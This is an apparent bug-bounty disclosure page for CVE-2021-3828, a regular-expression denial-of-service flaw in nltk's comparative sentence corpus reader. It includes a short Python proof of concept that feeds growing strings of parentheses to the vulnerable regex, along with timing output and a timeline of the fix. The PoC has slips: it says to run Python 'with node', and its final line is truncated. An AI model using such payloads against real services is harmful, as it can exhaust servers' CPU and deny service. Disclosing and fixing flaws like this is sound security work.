Inefficient Regular Expression Complexity in nltk/nltk

Valid Reported on Sep 19th 2021

0

✍️ Description

The `nltk` package is vulnerable to ReDoS (regular expression denial of service). An attacker that is able to provide as an input to the _read_comparison_block() function in the file "nltk/corpus/reader/comparative_sents.py" may cause an application to consume an excessive amount of CPU. Below pinned line using vulnerable regex.

🦹 Proof of Concept

Reproducer where we've copied the relevant code:
https://github.com/nltk/nltk/blob/d21646dbd547cdd02d0c60f8e23d1d28a9fd1266/nltk/corpus/reader/comparative_sents.py#L259
https://github.com/nltk/nltk/blob/d21646dbd547cdd02d0c60f8e23d1d28a9fd1266/nltk/corpus/reader/comparative_sents.py#L48
Put the below in a poc.py file and run with node

```
import time
import re

evil_regex = re.compile(r"\((?!.*\()(.*)\)$")

for i in range(1, 50000):
    start_time = time.perf_counter()
    payload = "( "+"("*(i*40000)+""
    re.findall(evil_regex, payload)
    stop_time = time.perf_counter() - start_time
    print("Payload.length: " + str(len(payload)) + ": " + str(stop_time) +
```

Check the Output:

```
Payload.length: 40002: 0.2007029 ms
Payload.length: 80002: 0.8401304 ms
Payload.length: 120002: 1.8615463 ms
Payload.length: 160002: 3.2876105 ms
```

CVE
CVE-2021-3828
(Published)

Vulnerability Type
CWE-1333: Inefficient Regular Expression Complexity

Severity
High (7.5)

Affected Version
*

Visibility
Public

Status
Fixed

Found by

Srikanth Prathi
@srikanthprathi
unranked

This report was seen 509 times.

We created a **GitHub Issue** asking the maintainers to create a `SECURITY.md` a year ago

We have contacted a member of the **nltk** team and are waiting to hear back a year ago

A **nltk/nltk** maintainer validated this vulnerability a year ago

Srikanth Prathi has been awarded the disclosure bounty ✅

The fix bounty is now up for grabs

A **nltk/nltk** maintainer a year ago Maintainer

A patch has been developed, and is awaiting approval from the rest of the team: https://github.com/nltk/nltk/pull/2816 Thank you for disclosing this issue with us.

A **nltk/nltk** maintainer marked this as fixed with commit **277711** a year ago

The fix bounty has been dropped ×

This vulnerability will not receive a CVE ×

Jamie Slome a year ago Admin

CVE published! 🎊

Sign in to join this conversation